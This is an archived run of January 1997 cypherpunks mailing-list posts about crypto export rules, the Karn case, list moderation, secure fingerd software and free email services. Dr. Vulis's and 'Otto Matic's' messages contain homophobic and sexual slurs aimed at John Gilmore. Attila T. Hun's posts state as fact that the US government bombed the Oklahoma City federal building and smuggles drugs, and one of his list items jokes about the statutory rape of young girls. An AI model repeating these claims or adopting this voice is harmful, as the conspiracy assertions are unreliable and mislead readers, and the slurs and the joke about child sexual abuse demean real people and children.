From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (Anonymous)
Date: Wed, 22 Jan 1997 21:01:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Decision in Karn Case
In-Reply-To: <199701230056.QAA02134@toad.com>
Message-ID: <199701230501.AAA23419@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


> http://www.epic.org/crypto/export_controls/karn_decision_1_97.html
> [...]
>     In light of the recent Executive Order transferring
> regulatory authority of non-military cryptographic computer
> source code to the Commerce Department, and the Commerce
> Department's promulgation of a new regulation under the authority
> of the International Emergency Economic Powers Act, 50 U.S.C. secs.
> 1701 et seq., we remand this case to the district court to
> consider the reviewability of and, if appropriate, the merits of
> appellant's claim under the Administrative Procedure Act.

And when that review finally reaches the appeals court,
the administration can move the regulations to the state department.

The uniqueness of the anti-crypto regulations is that it is a law
against intellectuals and academics. These people will not be willing to
break the law and then challenge its constitutionality in the courts,
or engage in any kind of civil disobedience demonstration. The author
of premail, for example, is doing a weird kind of civil *obedience*
demonstration to protect the laws. As long as that continues the
government can get away with playing their shell game.

By the way, what exactly happend to D.J. Bernstein's and the EFF's
threat to seek an injunction from Judge Patel if the new regulations
were not put on hold subject to constitutional review by January 2?
No updates at www.eff.org. Did EFF strike another deal with the
government?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 23 Jan 1997 19:14:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Decision in Karn Case
In-Reply-To: <199701230501.AAA23419@dhp.com>
Message-ID: <L2Xy1D122w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


lucifer@dhp.com (Anonymous) writes:
> By the way, what exactly happend to D.J. Bernstein's and the EFF's
> threat to seek an injunction from Judge Patel if the new regulations
> were not put on hold subject to constitutional review by January 2?
> No updates at www.eff.org. Did EFF strike another deal with the
> government?

EFF is a bunch of prostitutes, headed by the homosexual fascist Gilmore.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 22 Jan 1997 22:38:46 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: Thoughts re moderation, filtering, and name changes
In-Reply-To: <32E70250.7D91@gte.net>
Message-ID: <199701230633.AAA00525@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> hjk wrote:
> > On Mon, 20 Jan 1997, Dale Thorn wrote:
> > > hjk wrote:
> 
> > > Now whatever you think of your fellow citizens, or even those of the
> > > USA (to name an example), I'm sure is OK on whatever basis you apply
> > > your judgement.  But I guarantee you that the people on the cypherpunks
> > > list are no more or less intelligent than the people who vegetate in
> > > front of their TV sets every day, right there where you live, in all
> > > probability. If you believe that your fellow citizens vote intelligently,
> > > then I respond that cypherpunks vote intelligently.  What do you think?
> 
> > Well, I thought cypherpunks claim to be elite.
> 
> Most of the erstwhile elite types do the ordinary things in a quite
> ordinary way.  Get dressed, eat, collect and send e-mail, and so on.
> 
> The un-ordinary things (for example) are the thought processes which
> take place while typing out a post.  Those thought processes don't
> generally intersect directly with the mundane things such as operating
> the computer, unless the operations themselves are unusual and demand
> the full attention of the person involved.
> 

So what?

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bill Campbell" <wcampbel@peganet.com>
Date: Wed, 22 Jan 1997 21:42:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Commerce Sec. Hearings and Encryption
Message-ID: <199701230533.AAA13403@mercury.peganet.com>
MIME-Version: 1.0
Content-Type: text/plain


I have been watching the confirmation hearings for William Daley,
and I was amazed at the number of references in the questioning
to encryption. I have been watching confirmation hearings for a long
time and have never noticed this much attention being placed on such
a (formerly?) obscure topic.

It appears that encryption is definitely a big blip on the
governmental radar screen now, although whether this is a good
thing or a bad thing is definitely a debatable question. It's
interesting to me that all this interest is coming up in a
confirmation hearing for a *commerce* secretary. Maybe the
commercial aspects of encryption can have a positive impact
on the current restrictions; privacy rights certainly haven't had
any impact.

=Bill=




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pal@king.cts.com
Date: Fri, 24 Jan 1997 14:59:37 -0800 (PST)
To: pal2@cts.com
Subject: Extra Income
Message-ID: <199701241240.EAA12093@mh1.CTS.COM>
MIME-Version: 1.0
Content-Type: text/plain


***********************************************************************
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Wed, 22 Jan 1997 23:19:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: encrypted WinTalk/e-mails
Message-ID: <TCPSMTP.17.1.23.2.24.14.2780269260.1479676@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Hi there,

does anybody know about an encrypting snoop-proof version of WinTalk
(or a similar ytalk-style program)?
If so, please copy replies to my private e-mail, for I am currently
not subscribed to the CP list...

Thanks in advance for your help...

Harka

PS: Here is also a collection of free (anonymous?) e-mail account
services for those, who are interested...(sorry about the
html-tags).

 <li>NetForward 
 <li>HoTMaiL 
 <li>Trale 
 <li>WWDG Free Email 
 <li>MailMasher 
 <li>StarMail  Over 100 domains to
  choose from!!
 <li>iName  Over 100 domains to choose
  from!!
 <li>Geocities 
 <li>Juno 
 <li>Net@ddress 
 <li>Bigfoot 
 <li>MailHost 
 <li>POBox 
 <li>POBoxes 
 <li>PEmail 
 <li>La Jolla Shores 
 <li>From.Net 


/*************************************************************/
/* This user supports FREE SPEECH ONLINE           *         */
/* and PRIVATE ONLINE COMMUNICATIONS!            *   *       */
/*                                             *       *     */
/* E-mail: harka@nycmetro.com                    *   *       */
/*                                                 *         */
/* Finger or E-Mail for PGP public key.          *   *       */
/* Key Size: 2047   /   KeyID: 04174301        *       *     */
/* Fingerprint: FD E4 F8 6D C1 6A 44 F5   http://www.eff.org */
/*              28 9C 40 6E B8 94 78 E8                      */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMuRqMTltEBIEF0MBAQEKygf+KQEkQE/yH10cgly1aIJExAX+p2kPmcPb
f/ro2ulaYrs4gklKff60HE0AD39SBmTGnCI4dUzOLy0UfgTyifQ/W8H+1b1GU0Bb
UnFhvWCCc8KPOY6Kf4ZpdtdRsyJjqAKjyYthKAEIKmG/m/ZHI2uJ0+F1GYhtjyhO
IE5RrCImncjLW3uaXxnktzy4+jDeoQEXCVRm6muIZj/TPgTvzabkMzK5Udy0Nm1n
vjevvcAiA65PWnbAT+v+GNFPZq4bW//bEnzDYYXBD++QrC7bSGXe73iS2HbrVu3Y
gQg7pseOdbS5bkudhw/pqcTl5zvcdvGoQfnXZpbp4VviSwWs045vjg==
=jw27
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Wed, 22 Jan 1997 22:14:39 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: greed and the internet
Message-ID: <199701230614.XAA06525@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

    greed and the internet

        our network provider (MCI) has been gradually burying our T1 
    trunk and the effective feed has been reduced to 1200 baud from 
    1.56 Megabaud; that, and add 20 seconds to 5+ minutes of packet 
    hold, and it is now worthless. they claim they will have increased
    capacity, but there are no pressing big money commercial interests
    on this feeder --so when?  

        Problem is not just here --everywhere; the greedy commercial 
    bastards have oversold their network space intentionally as they 
    are bucking for per packet and timed usage charges which are 
    currently prohibited by the FCC and the state PUCs. The FCC is the 
    key since other than the local network, which is burdened with the 
    costs of the trunk, everything is regulated by the FCC which is 
    trying to totally eliminate the state PUCs in the 105th Congress,     
    Newt's mouth not withstanding.

        The FCC agreed to review the matter, capitulating to 
    big greed interests, which will make the Internet a rich man's 
    toy. $19.95/month plus access charges will increase to thousands 
    of dollars per month; slow networks make toast of the free hours 
    and overtime kills.  Without the creative input of the multitude, 
    there will be no content, so why have a net other than for 
    commercial purposes? suites the misinformation cabal just fine.

	Well, the FCC granted a reprieve --for the moment. but will
    come up again, and again, until it passes.

        The Internet will no no longer be the peoples net, and the 
    commercial greedies are establishing a faster, more secure 
    network with controlled access points; leaving the common man's 
    access in the mud, still paying the exorbitant rates on a pay 
    before play basis.  That, and it gives control of information to 
    the government --which, as we all know. is 'heavenly white' 
    -above sin.

        Universities are being bought off with the 'Internet II' 
    proposal which provides super trunks of over 600 Megabaud 
    capacity, a 400 times improvement. All of this feeds into five 
    stategically placed super-hubs where Uncle's shadow government can 
    monitor everything.

        The Internet was supposed to be our freedom: freedom of 
    information and government in the sunshine, but government is 
    proving it is still bigger, faster, and badder by using draconian 
    rules of illegal regulatory agencies. agencies which are usurping 
    rights limited to the legislative branch.


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: Encrypted with 2.6.3i. Requires 2.6 or later.

iQCVAwUBMubOW704kQrCC2kFAQE0gQQAxrkUhyX5wl+dZ/i6ajMJXAD7f+gpvc6Z
CBik+g62RqWrMbOblfLRubhEIWUfK2FQxIBRJ+0cQezCH4IfM1CxbytJ4Cx3BBBs
GwHGuhTfLnGVnuCAugguRdNUrd/tXaN47pAVqmg330XvLlTJqha8ODPsi2b+7qst
2z8qbOW0cqo=
=M9c5
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Thu, 23 Jan 1997 00:15:55 -0800 (PST)
To: toto@sk.sympatico.ca (Toto)
Subject: Re: fingerd
In-Reply-To: <199701212026.MAA11261@toad.com>
Message-ID: <199701230833.CAA03632@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> > Couple of things you can do:
> >     2.  Install a more secure "fingerd" such that it only
> >         allows "finger `userid@node.domain`" instead of
> >         "finger `@node.domain`".
> > While I've seen #2 in action, I don't know where to go to snarf it.  I just
> > use #1.
>   Anyone know where to 'snarf it'?

    cfingerd can be gotten from:

    ftp.bitgate.com/pub/cfingerd/pub/cfingerd
 -or-
    sunsite.unc.edu/pub/Linux/system/Network/finger

    There are a couple of other fingerd's in the sunsite directory. Cfinger
seemed to be the best last time I was looking for a fingerd.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Wed, 22 Jan 1997 22:15:05 -0800 (PST)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Just another government fuckover: New crypto regulations
In-Reply-To: <9m4qZD23w165w@bwalk.dm.com>
Message-ID: <199701230614.XAA06559@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <9m4qZD23w165w@bwalk.dm.com>, on 12/30/96 
   at 08:07 AM, dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:

::"Attila T. Hun" <attila@primenet.com> writes:

::>     books are and have been protected prior to the US Constitution.

::"Protected" in what sense? Copyright in a fairly recent invention.

        free speech, which is what we are talking about. supposedly 
    absolute freedom of speech in America was in the Articles of 
    Confederation and was a major point of the Declaration of 
    Independence.  free speach was an "intention" of the Magna Carta.

::>     the US Government has not been a legal government for years; it     
::>is a private club which can be bought, and its services sold to the     
::>highest bidder. It is a collection of whores who are part of a cabal
::>of the very rich and powerful; it is totally unaccountable to the
::>public it represents.  Waco, Ruby Ridge, and the bombing of their own
::>federal building in Oklahoma City in order to scare Joe Couch Potato
::>into giving up personal freedoms for security are perfect examples of
::>a government drunk on it owns powers. Just like Oswald, they have a
::>perfect patsy with the defendants in OKC.

::Like I said the other day, the similarities with the USSR under the 
::last few years of Brezhnev's life are striking.

        just a little bit too close, is it not?  The Kremlin then, and
    the Kremlin of Yeltsin also suffer the same malady: the personal
    expression of power. Gorbi will be remembered in history as not a
    great statesmen as he was initially hailed in the West, but as the
    'great concessionaire,' giving Russia's "imperial" power away. 
    Russia never had a communist government, it was a dictatorship
    somewhat tempered by the power of the apparati (which under Stalin
    was a joke); it just so happened they practiced the art of the
    commune in collective farming --except they stole the bulk of the
    communes' production.  Any concept of the commune ownership was
    fantasy. 

        but the bottom line with Brezhnev was the "drunk with power" of
    each of the petty fiefdoms.  Old Joe and Beria is a perfect example,
    except Joe took care of his problem promptly to prove the rule that
    'thou shall not covet thy boss...'<g>. 

        compare today in Russia: Lebed is a prime example. Even under
    Brezhnev he would have walked the one way tunnel. Fact is, it
    appears Lebed has been closer to the mark than the rest of the
    pompous fools; but that certainly has not helped if one considers
    Lebed would need to assume absolute power in order to clear the
    errant course of the Russian ship of state --absolute power corrupts
    absolutely. 

        the US has two or three power factors depending on your point of
    view. The visible US government with a totally corrupt and
    depiscable asshole at the helm --a sublimely and malignantly corrupt
    man installed as a puppet gone drunk on his cocaine power pack;  he
    thinks he has shaken his masters and his battle is to control the
    CIA and the rest of the hidden spook show.  Even his loyal puppy,
    John Deutsch, was unable to control the CIA, let alone the rest of
    the apparati.  The lame duck cabinet is more impotent than the last,
    who almost to a man jumped as rats from a sinking ship.  His thrust
    for power is masked in rhetoric of "for the good of the country" or
    "to protect the country from the evils of private speech which might
    be criminal or subversive" that we may all be free.  Is it
    coincidence free speech is the cornerstone of democracy? 

        So who does control the real apparati?  check behind the silent
    curtains of the dark drawing rooms; check behind the facade of US
    Department of State postings since WWII, and compare names with
    events and the social register and the rolls of Harvard, Yale, and
    Princeton; check the bunkers at Fort Meade and other places; check
    the shadows and the denials; particularly check the denials. 

        don't wast your time with the myriad of 'culprits' starting with
    the Bilderbergers, the CFR, the TLA, the Bavarian Illuminati, etc. 
    they are just drinking clubs of the power hungry united only by a
    common greed.  greed and absolute power as America careens into
    history and disenfranchisement. 

        is there then still a third force?  speculation?  fact! 
    avengers?  too little, too late?  hunted to the status of endangered
    species or even to extinction?  sacrificial lambs or goats for the
    alter of the temples of the doomed?  or saviours?

::>     books are an intellectual 'solution' to the problem. the real    
::>problem is the hardware. in order to negate governments and their    
::>virtually stated intentions of blocking our inalienable freedoms,    
::>particularly freedom of speach, we must be able to distribute     
::>universal crypto worldwide, and be able to improve it as the shadow      
::>governments of the various spook shows improve their ability to
::>break our code.

::Yes, but the impotent "cypher punks" can't write or distribute code. 
::They can only flame and rant and pull plugs.

        Ah, dimitri, my quasi-friend, my quasi-enemy, that is the
    question, is it not?  Can cypherpunks write code?  Some like to
    argue, and still can and do write code.  Others only pontificate; 
    and others lurk for the false rush of the ephemeral or fantastical
    power.
 
        dimitri, you've never been a lurker in your life; then why do
    you participate in cypherpunks if they are, to a [wo]man, nothing
    but wankers? (I guess that works for the gentle sex, too. no? <g>). 

        Ah, dimitri, you're secret is out. you are here to harangue!
 
::>     if you do not have the balls to do it, you are not for freedom.

::If you are a "cypher punk", you are not for freedom.

        No, no, no, dimitri.  Cypherpunks are absolute in their demands
    for freedom.  Most are making the choice to demand freedom while
    they play in the band and the Titanic sinks.  Shall their last song
    be "God Bless America" or "Nearer my Lord to Thee" --it's all the
    same is it not?  They, and the rest of the complacent Americans,
    will go down with the ship (as will the fighters without support). 

        Talk is cheap, dimitri.  Let's see a little action. 


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Version: 2.6.3i
Charset: latin1
Comment: Encrypted with 2.6.3i. Requires 2.6 or later.

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8xGPwVeW6KqOy667AnNnbjpxh+sYQBaWIeIPASr4jx2Z3y3J2uMkmOpysSN5k8CM
QK1D5JbIj1x0EteFHciLijlBHbqX7Hc+mg378LElsvC9StU8ZC0+aOLyt5qHnM+k
Achoxz4J7xE=
=GmbG
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Wed, 22 Jan 1997 22:14:48 -0800 (PST)
To: cypherpunks <toto@sk.sympatico.ca>
Subject: justice for cryptography, US style
Message-ID: <199701230614.XAA06539@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

        Looks to me like Carl needs to understand justice, U.S. federal 
    court style. In the first place: "ignorance is no excuse under the 
    law" -then: ask yourself why the U.S. continues the drug war when 
    it is obvious to the perverted, ignorant, and bought-off Congress- 
    person that it will never be won. the answer is simple: it's MONEY. 

        First, the government makes a fortune by importing drugs, which 
    they can use for unaccountable programs which are illegal under 
    law. The money is controlled by the CIA, administration, and the 
    power brokers in the deal which basically states it all; and, 
    secondly, there is money in imprisonment. Oh? so then ask yourself 
    why the federal prisons have tripled in size the last 10 years with 
    the dope wars.  coincidental?

        now, what does that have to do with crypto?  very simple: as 
    the US heads closer and closer to the UN Constitution under Bubba's 
    guidance with Hillary's hands on his balls, crypto can bypass 
    political thought control.  That will not be acceptable to those 
    who rule: in the US, or anywhere else.

        "Intimidation is just another form of communication."  (attila)

    and they have intimidated federal judges, and they are intimidating 
    federal judges, and they will continue to intimdate federal judges. 
    and, they will continue to feed the media what they want known.

        so, what does that have to do with it?

        a)  the federal government is disenfranchising felons with
            certain types of convictions, including drugs, and all
            offenses against the federal government --cryptography
            is an offense against the federal government since it
            falls under ITAR.

            do you know what disenfranchisement really means: well,
            start with fact you have lost your civil rights --ALL of 
            them. the man never needs a warrant to take you, anywhere. 
            anyplace, including your home without knocking --he has 
            automatic probable cause.

            all federal convictions of the type described carry a tail 
            --extended probation. in other words, a sadistic, sadonic, 
            and automatically suspicious federal civil servant OWNS 
            you. He can visit your employer; he can tell you exactly 
            how to run your business if you are self-employed; he can 
            tell you if you can move; he can tell you who you will see 
            or talk with; and if tells you to polish his apple, get on 
            your knees and smile while you labour. 

        b)  no vote --that is the principle meaning of franchise which 
            is defined as "suffrage."  you are history on that score 
            unless you manage to convince Bubba to grant you a federal 
            pardon.

        c)  the federal govenment, through one of their federal money 
            giveaways is forcing the criminal records onto the drivers' 
            license.  So far, no state has a check box on the sealed 
            photo ID, but they will, including a coded offense block.

        d)  now, the big credit bureaus, TRW, Equifax, etc. have added 
            the collection of data for traffic convictions; so far they 
            have not added either misdemeanor and felony >>arrests<< 
            and convictions to the _available_ information, but they 
            will.  Did you know that you can have a 3 or 4 page rap 
            sheet for a single arrest/offense/conviction by the time 
            they rewrite charges, which is common in, you guessed it: 
            dope cases, and propably will be in crypto cases as the 
            Federales discover more evidence (planted, decoded, 
            whatever?).

        e)  You know, I'm beginning to like Mississippi's statutory 
            rape laws better all the time.  The age is 18, as high it 
            goes in all 50 states --but it only applies if the minor 
            female is over 12 and can prove she is a virgin...  yeah, 
            right, where the only virgin over eight can run faster than 
            her brothers...

        e)  prisons are big business; and, government has undertaken a
            program of privatization of the prison system --in other 
            words, the big government oriented contractors, like SAIC 
            chaired by Bobby Inman, are planning to make a profit 
            housing government misjustice. do they like to make money?

            does this sound like slave labour to you? 

            sounds like government 'letting' of business. P.J. O'Rourke 
            has the definitive result of that:   
   
                "When buying and selling are controlled by legislation, 
                the first things to be bought and sold are legislators"  

        well, I'm too old for the civil disobedience game or deliberately begging the law; I do not wish to head for the 3 hots ad a cot of federal hospitality wearing more years than I can carry. 

        but you'd better believe and if you wish to even try to beat 
    the government back, don't think you have any rights in America.  Just remember Judge Roy Bean is sitting in his large $1,500-2,000 comforatable chair about a meter above you, smiling down on you as you sit in the hard, cold, flimsy chair of the dock, after our esteemed judge got drunk last night with his cronies.  

After all, Judge Roy, who's only human, suffers from an inferiority complex, and needs a power rush. And after this poor excuse for a human lays 3 fives running wild (15) and 6 tail on you, try smiling at the judge; then say: "thank you your honor, but you're just another fuckin' drunk." 

  == <attila out>

    ====== ORIGINAL MESSAGE ======

In <32C27B88.558@sk.sympatico.ca>, on 12/26/96 
   at 05:20 AM, Carl Johnson <toto@sk.sympatico.ca> said:

::jim bell wrote:
::> 
::> However, if being "on the Internet" is automatically presumed to be 
::> an export, why can't we program using remote-control editors which 
::> might, someday, be available on the Internet? 

::  If I wanted to export an unexportable program, I would put it on my 
::  machine as 'happyface.zip', and then make sure that everybody 
::  spread the word that it was available under that title.  I don't 
::  believe there is a prosecutor alive that can convince a jury of
::  twelve mostly non-technically oriented people that someone should 
::  be put in prison for not knowing the content of every single 
::  non-text file on their machine.

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Charset: latin1
Comment: Encrypted with 2.6.3i. Requires 2.6 or later.

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4hJo3N7U5ITscNeks8IbClzl8UNkoKaW5UH0bQlL6EaU7AvmmB15g6nQ4C59rBos
l2AQiOZZtwU=
=QJSj
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 23 Jan 1997 01:51:57 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Fighting the cybercensor. (fwd)
In-Reply-To: <199701230140.TAA08628@einstein>
Message-ID: <32E74461.7431@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate wrote:
> > Subject: Re: Fighting the cybercensor. (fwd)

> > > 'We' shouldn't, it is their own country and it is up to their populace to
> > > stop it.
> >   And Germany was Hitler and the Nazi Party's own country.
> And your point is? Are you equating a specific individual or organization
> with Hitler or the National Socialist?

  Sorry, I forgot that people who work well with numbers often aren't as
good at working with concepts.  I'll write slowly.
  I'm equating 'any' country where individuals take and keep power over 
it's citizen by illicit and/or dehumanizing means with Nazism and 
Fascism.

> If the people in those counties want to give away their freedom that
> is their business (and right), not mine, yours, or this countries unless
> there is evidence they are trying to take their views and impose them here.

  Right. And if someone 'chooses' to give their money to a thief with
a gun, then it is not the business of other people, or the police.
  I would hate to interfere with someones 'right' to get robbed,
raped, or murdered.
  
> In reference to Hitler, had he stayed in his own
> country WWII and the ensuing half century of conflict would most likely not
> have occured.

  But according to your viewpoint, countries he had not invaded had no
right to 'help' those he conquered.
  Perhaps Hitler was merely the Dr. Vulis of isolationism.  The 
isolationists' claims that the affairs of other countries were not
our affairs changed rather rapidly when it became apparent that they
had better either get their heads out of their butts, or learn to
speak German.

> I say, let them filter themselves into economic collapse, intellectual
> nihilism, and political suicide. Suicide, assissted or otherwise, is a right
> any and all individuals have whether acting as individuals or as groups.

  It seems that several million Jews got 'filtered' into 'nihilism'
during the Second World War while the isolationists were busy not
interfering with the rights of individuals in other nations to
commit 'suicide' at the hands of the Nazis.

> Never forget, a tree can exist without a forest but a forest can not exist
> without trees. It is a one way street however much some people may want to
> convince us otherwise.

  Never forget.  A forest can apparently exist without Jewish trees. 

> If those people agree to support a system that limits or controls what
> information they get to see that is their choice. It didn't work in Russia
> and it won't work in Singapore or China any better.

  There are a lot of people lying in graves around the world who might
suggest that perhaps they didn't support the system that limited,
controlled, and murdered them. They might also argue that it 'did'
work in many countries, for many years.

> >   No. The internet was conceived so that the DOD could monitor the
> > communications
> > of physicists and researchers who thought it was awfully nice of the
> > government
> > to provide this wonderful method of sharing data and information.
> 
> The original goal
> of the Internet was to allow computers to be connected in a nuclear conflict
> and the period afterward when communications would be most critical.

  I believe you mean the 'stated' original goal of the InterNet.
(Similar
to the 'stated' goal of crypto regulations.)
  A series of manuscripts entitled "The True Story of the InterNet"
expose
the shadowy faces behind the facade of the InterNet, and the plans,
during
its very inception, for it to become part of the underlying fabric of 
everyday life, internationally. They were almost considered to be
sci-fiction at the time they were written, because the InterNet, at the
time was just a smallish, specialized, technical entity at the time.
  The claims they made for the InterNet being foreordained to become 
almost exactly what it is now becoming were written off as ludicrous.

 
> One of the biggest problems this country has right now is the inability of
> people like yourself to differentiate the difference between the ideals of
> the country and the people who impliment it.

  You seem to have very strong feelings about people who think
differently
from yourself being a 'big problem'. 

> The problem is not the
> government or the ideals it was founded on but rather the way we impliment
> it.

  The battle cry of every apologist for every corrupt or jackboot regime 
that has ever existed on earth.
  Why do I never hear this view from anyone who is being censored,
persecuted,
or who can hear the jackboots thumping against their own door or their 
neighbor's door?  It always seems to come from someone who is getting
their
piece of the pie and is worried that it might end.

> Our government is people, who put their pants on the same way you or I
> do (assuming you wear pants that is). They are not inherently some mineon of
> Hell, they are people who in general either don't give a damn and it's just
> a job or else they really believe what they are doing.

  You might try reading something other than 'Life' magazines from the
1950's
if you want to get a little better picture of how our government really
operates.

> Accept and deal with your schizophrenic tendencies and help solve this
> national problem we face. Let's try to solve it now so that our
> grandchildren won't have to fight this fight again.

  I'm already working toward solving the problems that I see, in other 
countries as well as this one.  The people behind the Iron Curtain have
never seemed to have any problem with me risking my life and liberty 
making prohibited information available to them.


   "I can hear the rumbling of the trucks as they come up the street, 
and soon I will be hearing the thumping of the jackboots storming up 
the staircase, as I have heard them so many times before.  But I 
suspect that, this time, the sound will be different, that it will 
have an ethereal quality about it, one which conveys greater personal 
meaning than it did when I heard it on previous occasions.
   "This time, they are coming for me."

   "My only hope, is that I can find the strength of character somewhere 
inside myself to ask the question which lies at the heart of why there 
is a 'they' to come for me at all...why, in the end, it has finally 
come to this for me, as for countless others.
   "The question is, in retrospect, as simple and basic as it is 
essential for any who still espouse the concepts of freedom and 
liberty to ask themselves upon finding themselves marveling at 
the outrageousness being perpetrated upon their neighbors by 
'them'...by 'others'...by 'Friends of the Destroyer.'
   "The question is...'Why didn't "I" do something?'"

      A quote from the personal diary of Vice-Admiral B. D'Shauneaux,
      from the Prologue to Part II of 'The True Story of the InterNet'

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 23 Jan 1997 01:53:13 -0800 (PST)
To: wb8foz@nrk.com
Subject: Re: Manila says ID system not prelude to martial law (fwd)
In-Reply-To: <199701222143.QAA21639@wauug.erols.com>
Message-ID: <32E7496B.7B07@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


David Lesher / hated by RBOC's in 5 states didn't write:
> Reuters sez:
> Message-ID: <Rcypherpunks-cardUR8Au_7JF@clari.net>
> 
>  CYBERSPACE, Dec 15 (Reuter) - CypherPunk list owner
> John Gilmore, on Wednesday, dismissed as baseless fears that his
> forced unsubscribing of Dr. Vulis was a prelude to censorship.
> 
>   ``That is a wild opinion without any basis in fact,'' Gilmore
> told his weekly news conference after Dr. Vulis, the
> outspoken Archbishop of CyberSpace, accused him of being an
> authoritarian dictator.
> 
>   Officials have said a moderated-list system  would make it 
> easier for people to transact business with the list
> and minimise fraud.
>  ``That's all there is to it ... (its) very simple,'' Gilmore
> said.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 23 Jan 1997 05:43:23 -0800 (PST)
To: Anonymous <lucifer@dhp.com>
Subject: Re: Decision in Karn Case
In-Reply-To: <199701230056.QAA02134@toad.com>
Message-ID: <32E75F2A.5E79@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Anonymous wrote:
> >     In light of the recent Executive Order transferring
> > regulatory authority of non-military cryptographic computer
> > source code to the Commerce Department, and the Commerce
> > Department's promulgation of a new regulation under the authority
> > of the International Emergency Economic Powers Act, 50 U.S.C. secs.
> > 1701 et seq., we remand this case to the district court to
> > consider the reviewability of and, if appropriate, the merits of
> > appellant's claim under the Administrative Procedure Act.
> 
> And when that review finally reaches the appeals court,
> the administration can move the regulations to the state department.

  Look on the bright side. Maybe they'll move them around so much that
they'll lose them.
 
> The uniqueness of the anti-crypto regulations is that it is a law
> against intellectuals and academics. These people will not be willing to
> break the law and then challenge its constitutionality in the courts,
> or engage in any kind of civil disobedience demonstration.

  That is why the thugs and the brown-shirts always start by attacking
scattered individuals and those they can easily brand 'troublemakers.'
(Only in rare instances, do they start with Doctors).
  The intellectuals and academics might, at best, utter a few tut-tut's,
and by the time that the rule of force has become the order of the day,
there is no longer anyone 'below' them left free to object to the
attacks 
on themselves.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Otto Matic" <ott0matic@hotmail.com>
Date: Wed, 22 Jan 1997 21:50:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor.
Message-ID: <19970123045730.8356.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain


>From cypherpunks-errors@toad.com Wed Jan 22 18:19:14 1997
>Dr.Dimitri Vulis KOTM writes:
>
>> >From cypherpunks-errors@toad.com Tue Jan 21 16:57:46 1997

>
>Alles Kriticismus auf der Listfuehrer Gilmore und Obercensor Sandfart
>ist stricklich verbotten.  Heil Kocksucker Gilmore!

Otto Says:

Kalifornia UberAlles!


otto
=-=-=-=-=-
Otto Matic

"Fuckin' A, Miller!"  Bud, Repo Man


---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 23 Jan 1997 05:44:35 -0800 (PST)
To: "Attila T. Hun" <attila@primenet.com>
Subject: Re: greed and the internet
In-Reply-To: <199701230614.XAA06525@infowest.com>
Message-ID: <32E76F54.6388@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Attila T. Hun wrote:
>     greed and the internet
> 
>         Problem is not just here --everywhere; the greedy commercial
>     bastards have oversold their network space intentionally as they
>     are bucking for per packet and timed usage charges which are
>     currently prohibited by the FCC and the state PUCs.

  Say, this couldn't be the old lets-create-a-problem-by-virtue-of-
